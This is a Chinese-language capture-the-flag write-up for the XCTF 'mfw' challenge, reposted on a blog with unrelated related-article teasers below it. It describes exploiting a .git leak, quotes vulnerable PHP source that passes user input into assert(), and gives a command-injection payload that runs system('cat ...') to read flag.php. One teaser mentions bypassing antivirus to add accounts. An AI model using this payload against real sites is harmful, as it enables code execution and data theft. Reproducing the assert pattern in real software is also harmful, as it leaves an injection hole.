攻防世界-mfw

embedded/2024/11/21 18:59:54/

进入题目以后可以点击三个网页,这三个网页其中有一个提示我们git、php、Bootstrap。可以联想到git泄露

在url后面的参数改为.git

存在git漏洞,这时候就可以利用pythongithacker库下载泄漏的文件

查看index.php的源代码

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>My PHP Website</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /></head><body><nav class="navbar navbar-inverse navbar-fixed-top"><div class="container"><div class="navbar-header"><button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button><a class="navbar-brand" href="#">Project name</a></div><div id="navbar" class="collapse navbar-collapse"><ul class="nav navbar-nav"><li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li><li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li><li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li><!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --></ul></div></div></nav><div class="container" style="margin-top: 50px"><?phprequire_once $file;?></div><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" /><script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" /></body>
</html>

flag.php的源代码

其中有

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

由于文件并没有对输入的字符进行过滤,所以可以进行语句闭合修改语句原本的意思,构建的payload:/?page=');//

已经知道flag.php的文件路径,是在\templates目录下

构造payload:/?page=').system('cat+./templates/flag.php');//   


http://www.ppmy.cn/embedded/139400.html

相关文章

uniapp开发微信小程序笔记4-自定义组件

前言&#xff1a;本文重点记录的是uniapp如何封装一个自定义组件&#xff0c;以swiper组件为例。 一、创建组件目录 官方文档中的easycom组件规范中可以看到这样一句话&#xff1a; 只要组件安装在项目的components目录下或uni_modules目录下&#xff0c;并符合components/组…

2、PyTorch张量的运算API(上)

1. 教学视频 2、PyTorch张量的运算API&#xff08;上&#xff09; 因比较忙&#xff0c;暂时就做个过场吧。 2. Python代码 Python #!/usr/bin/env python # -*- coding:utf-8 -*- # FileName :torch_learn2.py # Time :2024/11/16 19:53 # Author :Jason Zhangi…

某杀软环境下的添加账户

某杀软环境下的添加账户 我们在某个杀软环境下&#xff0c;正常添加账户一般是会被直接拦截的 白&#xff0b;黑 在这个环境下&#xff0c;白&#xff0b;黑是最实用的绕过方式&#xff0c;我们可以通过调用winapi来创建账户&#xff0c;这些代码再存储到dll里面&#xff0c…

2025 -生信信息学 - GO-KEGG-DO分析

生信信息学 - GO-KEGG-DO分析 01 GO分析 library("org.Hs.eg.db") library("clusterProfiler") library("enrichplot") library("ggplot2") library("ggnewscale") library("enrichplot") library("DOSE&q…

线性代数(第四章:方程组)

一、方程组的基础知识 1. 方程组的形式 2. 方程组的解 1)齐次方程组 2)非齐次方程组 3)总结 3. 方程组解的结构与性质 1)基础解系 若向量组 η1 , η2 ,…, ηr 满足: η1 , η2 ,…, ηr 为齐次线性方程组 Ax = 0 的解;η1 , η2 ,…, ηr 为全部解的极大线性无关组…

数据结构C语言描述3(图文结合)--双链表、循环链表、约瑟夫环问题

前言 这个专栏将会用纯C实现常用的数据结构和简单的算法&#xff1b;有C基础即可跟着学习&#xff0c;代码均可运行&#xff1b;准备考研的也可跟着写&#xff0c;个人感觉&#xff0c;如果时间充裕&#xff0c;手写一遍比看书、刷题管用很多&#xff0c;这也是本人采用纯C语言…

基于Java Springboot智能交通信息平台

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据…

OpenCV:VideoWriter.write()导致内存不断增长(未解决)

以前某个应用&#xff0c;专门把opencv独立为进程&#xff0c;完成后自动释放。当时我还想优化一下&#xff0c;比如减少frame&#xff0c;结果一点用没用。 这次专门一下&#xff0c;结论就是&#xff1a;每次执行write()&#xff0c;内存必然增加。 输出版本号&#xff0c;是…